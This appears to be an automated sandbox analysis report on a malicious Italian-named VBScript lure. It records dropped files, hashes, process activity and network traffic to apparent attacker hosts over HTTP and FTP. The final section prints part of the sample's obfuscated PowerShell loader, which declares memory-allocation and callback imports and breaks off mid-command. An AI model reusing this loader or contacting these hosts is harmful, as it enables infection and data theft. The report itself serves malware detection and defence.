Preview: ./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\Sys
tem.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.dll" /debug- /optimize+ /warnaserror /optimize+  "C
:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.0.cs"

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File Type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 4096

Entropy (8bit): 3.2933249715555086

Encrypted: false

SSDEEP: 48:6jkQn/oLUdmWi8PiNnhucpm77Fvlb41ulgma3blq:puo47rdqm7Hbr3K

MD5: 3DE7A3FE4B71E0AE06B6C4D8778C24FA

SHA1: 61F551C09BEFF6E8BB994E6B0E2D6B13FA34B12F

SHA-256: E1B6C6B65C4313E2DD89AF4F6C619FA059EC1268CF4AE0EB661E7690564B9DC4

SHA-512: 82A552524A26FA65E6340A84AE828C60C7841AE9585D8059163FEE29CF652C22202E05DDCF1110C468949D710E07282E5C13DB08FD01F26FA09C81C737F56D00

Malicious: false

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c...........!.................'... ...@....... ..................................
..@..................................&..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.rel
oc.......`......................@..B.................&......H.......P ..h...........................................................BSJB............v4.0.30319......l.......#~..P.......#Strings............#US.........#GUI
D.......l...#Blob...........G.........%3....................$.......................................3.,...............H.).................................... :............ F............ R............ _............ j. .......... w............ ........
..... .. .......... ..(.......... ..(.......... ............. ........

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators

Category: modified

Size (bytes): 866

Entropy (8bit): 5.323647555720293

Encrypted: false

SSDEEP: 24:Aqd3ka6Kz02XE202aKaM5DqBVKVrdFAMBJTH:Aika6a0+E20RKxDcVKdBJj

MD5: 596472A8FA705DBA98A38E713E5C6AC5

SHA1: 49A69DDD7C70238FE1B0A62636072830ECD2EB07

SHA-256: 0047CDAF9FB443408ACDF55FF6D9F4409C7D5B554AFD980357760CB2DF49B8E7

SHA-512: 759546A855353402CF43524E95BFE599D9D2C8F2C28B02E646C71873618833523EBC9C766083E77D55F67F1B1E6C63F3BED3AF1805D83DA5720A5B64CDFECD2E

Malicious: false

Preview: .C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_M
SIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Loc
al\Temp\2vgl23kr\2vgl23kr.dll" /debug- /optimize+ /warnaserror /optimize+  "C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.0.cs"......Microsoft (R) Visual C# 
Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, 
but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see 
http://go.microsoft.com/fwlink/?LinkID=533240....

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File Type: MSVC .res

Category: dropped

Size (bytes): 652

Entropy (8bit): 3.1110642504291888

Encrypted: false

SSDEEP: 12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry07irak7YnqqH7iEPN5Dlq5J:+RI+ycuZhNgmakSb3PNnqX

MD5: 5484828547E61E5ED20C9C7AA3F8A993

SHA1: 4C45EF4BA03B144EEDBEC4955A1EE1B4599CCD2C

SHA-256: 255D05714ECF0937F6E0A8375F0856FA5B815A4BB59F1E64867ED0B2BD0DA42A

SHA-512: A792290BDAEEDAD3571F14A034B4032DE61D97756FEB88B568B39F8908689E4CBA815942B0DFD9D72D9B849BD63A76EA2005C88EA351AA89A472DA5FF3E01B
07

Malicious: false

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.dll

C:\Users\user\AppData\Local\Temp\2vgl23kr\2vgl23kr.out

C:\Users\user\AppData\Local\Temp\2vgl23kr\CSC2C40FF502EE54A39B5D71CE974C4B10.TMP
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Preview: .... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............
S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...2.v.g.l.2.3.k.r...d.l.l.....(...
..L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...2.v.g.l.2.3.k.r...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...
0...0...0...

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

File Type: Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Mon Nov 28 19:06:44 2022, 1st section name ".debug$S"

Category: dropped

Size (bytes): 1328

Entropy (8bit): 3.995196855324645

Encrypted: false

SSDEEP: 24:HOe9E26ZgcH9hKPfwI+ycuZhNgmakSb3PNnq9qd:IdrKPo1ulgma3blq9K

MD5: 9EBABE1B4A1E0150B53DC653F83DC046

SHA1: 6F09AAF253D410C604F5DDE80FFE7FD54D0D88BF

SHA-256: 0E57FA5A4FE501D3B91C70B6A2CF9CFA828F103FB8C270DDE6CE13B58EE755AB

SHA-512: D07C90286AF63EAE69BB3E28E2272D18B409A3BE67369093CFE0DBEAC3BF5D06F4D1EC30B627344638053EA41B47A105F374E6FD7F46039D2A6E64082221B9F
7

Malicious: false

Preview: L......c.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\2vgl
23kr\CSC2C40FF502EE54A39B5D71CE974C4B10.TMP...............T...G..^...z..............5.......C:\Users\user\AppData\Local\Temp\RESA66C.tmp.-.<...................'...Microsoft 
(R) CVTRES.Y.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L.....
......H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.
0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...2.v.g.l.2.3.k.r...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.
....O.r.i.g.i.n.

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651
0A

Malicious: false

Preview: 1

Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651
0A

Malicious: false

Preview: 1

Process: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File Type: ASCII text, with CRLF line terminators

C:\Users\user\AppData\Local\Temp\RESA66C.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_newj5tcw.yq1.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qdv1nroa.nix.ps1

\Device\ConDrv
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Category: dropped

Size (bytes): 30

Entropy (8bit): 3.964735178725505

Encrypted: false

SSDEEP: 3:IBVFBWAGRHneyy:ITqAGRHner

MD5: 9F754B47B351EF0FC32527B541420595

SHA1: 006C66220B33E98C725B73495FE97B3291CE14D9

SHA-256: 0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591

SHA-512: C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532

Malicious: false

Preview: NordVPN directory not found!..

File type: ASCII text, with CRLF line terminators

Entropy (8bit): 5.846060220348072

TrID:

File name: Richiesta urgente.vbs

File size: 356020

MD5: de0edf01710a38b1e96688ae2f712ebb

SHA1: 6791a70cf79c415ba109e86734bcfd1b4930ec31

SHA256: 20796159ce1191fe88603ee4be1855bca614bcb29161d149a6990b48589d88c5

SHA512: 8456bd4c7106a8231f07407fa692520436a9be635fe6245e20d0d61efe11bd2664f758dc7a2f30eb7fd0839e90b854972d5c6d31d6b7e800d78bbf5bb4d970b9

SSDEEP: 6144:JmYNxYtoG4TDkYeZrZZL1HQTazh6VQIGoeJTaBrSlWYNemg/j4XO9Zob4HZIKK:8JaVerZzwTi4VyoKKrSlZN4/7F6KK

TLSH: 3874BFA0DB1D2B040B7F175A9C42DB49E4EA772A62121C7CADA9078E3D32238D73F715

File Content 
Preview:

..'zephyrian stratagem Wigwamerne177 Alcoholisable53 PROMISINGLY ..'ACETAMID GRANULARITY Mandatet torteaus TANGFORLSENDES ALTOCUMULUS 
Jambarts ..'Gein187 garglers Goslet Afblsnings ENEHERREDMMERS UNDSEELIGHED TUSSENS Mrtelvrkets139 HOG besvrger stellularl

Icon Hash: e8d69ece869a9ec4

Total Packets: 36

• 53 (DNS)

• 80 (HTTP)

Static File Info

General

File Icon

Network Behavior

Network Port Distribution
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Timestamp Source Port Dest Port Source IP Dest IP

Nov 28, 2022 11:08:13.349935055 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.516900063 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.517033100 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.517817020 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.684075117 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.686036110 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.686043978 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.686065912 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.686080933 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.686104059 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.686116934 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.686135054 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.686153889 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.686171055 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.686188936 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.686192036 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.686263084 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.852817059 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.852993011 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.853167057 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853199959 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853219032 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853236914 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853250980 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.853269100 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853288889 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.853297949 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853317022 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853334904 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853344917 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.853362083 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853373051 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.853391886 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853411913 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853421926 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.853439093 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853450060 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.853466988 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853487968 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853494883 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.853511095 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853522062 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.853539944 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853560925 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853566885 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.853585005 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853593111 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.853610992 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:13.853629112 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:13.853661060 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.019418001 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.019454956 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.019522905 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.019576073 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.019954920 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.019995928 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020021915 CET 80 49709 162.240.62.179 192.168.2.5

TCP Packets
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Nov 28, 2022 11:08:14.020050049 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020071983 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020111084 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020131111 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020137072 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.020159960 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020188093 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.020189047 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020210028 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.020220995 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020241022 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.020246983 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020265102 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020273924 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.020283937 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020302057 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020315886 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.020319939 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020340919 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020358086 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020369053 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.020375013 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020394087 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020411015 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020417929 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.020428896 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020441055 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.020447969 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020463943 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.020467043 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020486116 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020503044 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020503044 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.020520926 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020539999 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020556927 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020558119 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.020569086 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.020577908 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020591021 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020596981 CET 49709 80 192.168.2.5 162.240.62.179

Nov 28, 2022 11:08:14.020610094 CET 80 49709 162.240.62.179 192.168.2.5

Nov 28, 2022 11:08:14.020627975 CET 80 49709 162.240.62.179 192.168.2.5

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Nov 28, 2022 11:08:12.997488976 CET 55039 53 192.168.2.5 8.8.8.8

Nov 28, 2022 11:08:13.331123114 CET 53 55039 8.8.8.8 192.168.2.5

Nov 28, 2022 11:08:34.404402018 CET 59220 53 192.168.2.5 8.8.8.8

Nov 28, 2022 11:08:34.511842966 CET 53 59220 8.8.8.8 192.168.2.5

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
DNS over
HTTPS

Nov 28, 2022 11:08:12.997488976 
CET

192.168.2.5 8.8.8.8 0x5a31 Standard query 
(0)

qwedft.gq A (IP address) IN (0x0001) false

Nov 28, 2022 11:08:34.404402018 
CET

192.168.2.5 8.8.8.8 0xcfa6 Standard query 
(0)

ftp.mcmprint.net A (IP address) IN (0x0001) false

UDP Packets

DNS Queries
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
DNS over
HTTPS

Nov 28, 2022 
11:08:13.331123114 
CET

8.8.8.8 192.168.2.5 0x5a31 No error (0) qwedft.gq 162.240.62.17
9

A (IP address) IN 
(0x0001)

false

Nov 28, 2022 
11:08:34.511842966 
CET

8.8.8.8 192.168.2.5 0xcfa6 No error (0) ftp.mcmpri
nt.net

185.31.121.13
6

A (IP address) IN 
(0x0001)

false

            
qwedft.gq

         

Timestamp
Source
Port

Dest
Port

Source IP Dest IP Commands

Nov 28, 2022 11:08:34.638608932 CET 21 49711 185.31.121.136 192.168.2.5 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 1 of 50 allowed.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 1 of 50 allowed.220-Local time is now 12:08. Server port: 21.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 1 of 50 allowed.220-Local time is now 12:08. Server port: 
21.220-This is a private system - No anonymous login
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 1 of 50 allowed.220-Local time is now 12:08. Server port: 
21.220-This is a private system - No anonymous login220-IPv6 
connections are also welcome on this server.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are 
user number 1 of 50 allowed.220-Local time is now 12:08. Server port: 
21.220-This is a private system - No anonymous login220-IPv6 
connections are also welcome on this server.220 You will be disconnected 
after 15 minutes of inactivity.

Nov 28, 2022 11:08:34.643579960 CET 21 49711 185.31.121.136 192.168.2.5 220 Logout.

• wscript.exe

• cmd.exe

• conhost.exe

• powershell.exe

• conhost.exe

• csc.exe

• cvtres.exe

• CasPol.exe

Click to jump to process

DNS Answers

HTTP Request Dependency Graph

FTP Packets

Statistics

Behavior

System Behavior

Analysis Process: wscript.exe PID: 4088, Parent PID: 3324
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Target ID: 0

Start time: 11:05:04

Start date: 28/11/2022

Path: C:\Windows\System32\wscript.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Richiesta urgente.vbs"

Imagebase: 0x7ff707f10000

File size: 163840 bytes

MD5 hash: 9A68ADD12EB50DDE7586782C3EB9FF9C

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

Target ID: 1

Start time: 11:05:06

Start date: 28/11/2022

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: CMD.EXE /c echo C:\Windows

Imagebase: 0x7ff627730000

File size: 273920 bytes

MD5 hash: 4E2ACF4F8A396486AB4268C94A6A245F

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

Target ID: 2

Start time: 11:05:06

Start date: 28/11/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7fcd70000

File size: 625664 bytes

General

File Activities

Registry Activities

Analysis Process: cmd.exe PID: 1004, Parent PID: 4088

General

File Activities

Analysis Process: conhost.exe PID: 4540, Parent PID: 1004

General
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MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

Target ID: 3

Start time: 11:05:36

Start date: 28/11/2022

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"  "$Skolegaardene = """ReABedSadDi-FiTGeySjpSyeAn De-ChTHeyTepAneLaDReeO
pfPriNonMiiPrtSainooScnKa Da'KouRisFoiUdnMygSy SySImyInsOftTreTumok;SuuStsNyiSunBigDr TrSMiyAssDatDeePrmTi.DoRMiuManSotCoiGamDueBi
.BoIAnnSotPheOprInoUdpTeSDeeOmrgovStiKncTreDesFo;oppSiuPabFolVaiAfcGl ElsShtFiaBatHviCocOt dacUnlRyaDzsSpsOr SiRChePraUdbStrGiiSid
AdgPaeNodAt1Ch In{Cr[FjDDrlAdlSqIHemTapKooBerVatDe(Ne`"""SowOwiHanSamBlmBa.DedSalBalIn`"""Bi)Sg]KopPeuAsbFolUniHocMy PrsGrtUnaSetI
niStcSi HaeNexSktBrePorFenGe uniUnnArtMa HomCaiMbdSaiSuOTjuLgtNoOZipFoeJrnXs(SmiOrnButbr PokPrvAbaTalMoiBe,TiiganSatth brKAtovinTe
,ZaiLunDitAd KoRRuiOvnPegSaeAtdTh,RriBanTrtDe SpUOunPywFooHe,HoiKnnGetHa koUWidGreRe)Co;as[MuDTulAllReIThmNopBloBrrFitNe(Ud`"""Sek
UneserObnOmeBilHl3Up2Te`"""He)av]RipAruFubOclFiiCucMa AssEmtSaaDrtApiFrcTu RaeStxDitKieVerMenPr JiiFanOvtLo ArLMooPecviaAulprSUnhC
arPoihunSvkde(OuiUnnHitSt ResDycPuoUnrTupGriBr,WhiVenDotSt StNSasFikOveMatImnUp)Eu;Fg[GuDHylAnlFuIPemAfpLeoWirMutRa(Kh`"""VekBieEm
rAdnPueanlNl3Ek2bl`"""Sp)Pe]RepGeuRebPrlReiRacSt desBetTaaMatFiiFocOm SheFaxPitDieUnrTanko BliSunKatKe ScSAreCatAnCUdoMomBomSiSDit
CaazatAmeRe(UniSmnExtSe CoKCuoBefAltSmaAf,NaiAfnLatSu scSLatKaoHorHorTryBu)sk;Kr[LiDstlImlcuIHomEkpTaoRkrBrtSh(Pu`"""PskFeeSkrAnnO
peunlBi3Sp2ut`"""Va)Gr]GopOruPabOvlUpiShcSu VesBetLaaIstPtiSncEn PueBuxAgtCoeunrCanUe AliMonvetCe TrHLeeSaaSlpJaCDyrSieDiaAftTieDr(IliGrnUdt
En ScNDoeDocWirHioSapBe,BiiVonSitDo GaFSelafsFnkPr,IniInnAntOs moGSirSpuFipLe)Al;Sy[brDUplAblSeIPomSupTeoBarbltGl(Af`"""PrkCoeXerBanFleAflsy
3Br2Ma`"""un)Tr]HepNauNobColUliRecUd SrsDetThaRotKuiIscPh GreBexFrtGeeSprMinVi CiiFinwotDe StVFaipsrZotThuMiaOplStAArlUnlAgoGrcbo(
DaiSanSytAf EqvEp1Sy,hoiDenOxtSt UnvMe2Be,TriKonKotro SkvFl3wi,FoiMonGatFi StvMi4Ch)Be;Tu[PaDAtlBglOpIKomPhpLaoBarSptWa(Ma`"""ThiJ
amRemDe3Ba2Vi.HedSolSalBa`"""Fe)Br]SepLuuEnbAflDeiHocSk LusHytViaantKoiPocZr NoeDrxUrtCleFardonBl HeiBanBrtXe hvIBlmRhmAgSkreDetEv
SMatFiaRatUduAnsDuWAniRunKedDioOpwTrPBroAnsPu(CoiUnnDitBa NePPoaSklSkaEn,ChiRenXetAl skRPyaInzNe)Me;Bi[VaDRelRhlAnIsemifpOuochrFrt
De(Ti`"""omAHyDwiVreAfaPGrIPh3Sn2Mi.SpDNiLPlLVu`"""Ep)Un]VepCluSsbGelReiAfcFl drsLgtMiaErtPaiOpcna SheSixCytOpeGerBenSu UniStnTitAk 
BaISnnTriSotMaiScaGrlPaiejzCoeAnAKactalBe(PoiPunHntRu TeCTioAclBa,AaiSynMetMi LeUPinDeaPr,AfiMenRetAs FaFMelFroTepOrpOl2na0Ma1Sn
)Mi;In[DeDSalPalslIChmNopEroPhrEutSc(Pa`"""EngSvdTaiOl3Re2so`"""Ud)Qu]FipHyuSkbAdlMaiGucGi OcsUdtlaaMotReiFrcSk IjeWixAxtqueUnrHanBo 
GeiCinMatSa HuSSeeRatBeWEdiLinBldEnoMewFuEPexNotBrEStxPl(SliSanNvtGe biDDauDacFl,buiTynCetTo UdHToeLanHubHulDy,AniBenOutTi MoSK
uiBrdRaecotCaaFo,IsiTinThtUb AfAUlpFrpIsaTosIs)Pa;Uf[AuDTilCalAfIScmBapOmoIkrHetOm(Un`"""MygPrdAliPa3An2Tr`"""Un)Th]RopjouCebMalFliBlcBl Ags
LrtPyaBetHjiCocUl TaeVoxFotAfeNorAlnBy CoiAunIttHa NaUTrnNorIgeGeakelNoiVazAneStOSjbEnjSieOpcFrtUn(LeiHjnUntKi RvHNooBiwBeeFraManh
e)Su;Sp[CaDDilUdlPlIBemFrpNooEgrDitDe(Ce`"""couDesAgeNurSu3Ke2Ma`"""Fo)fl]DepdiuCibStlOuiSecBi ScsHytBjalitFliDrcBl ToeCoxBytFoeGarRenPo Sei
tunMetDa UnGMoeprtHaKFoefoyNeSBotMuaGrtFeeSk(BaiVinSttNo SkFFooUnrGe)Di;lo[ByDPelTulMiIMimKapCooInrPutxe(Un`"""RegCydWoiDo3Me2Us`"
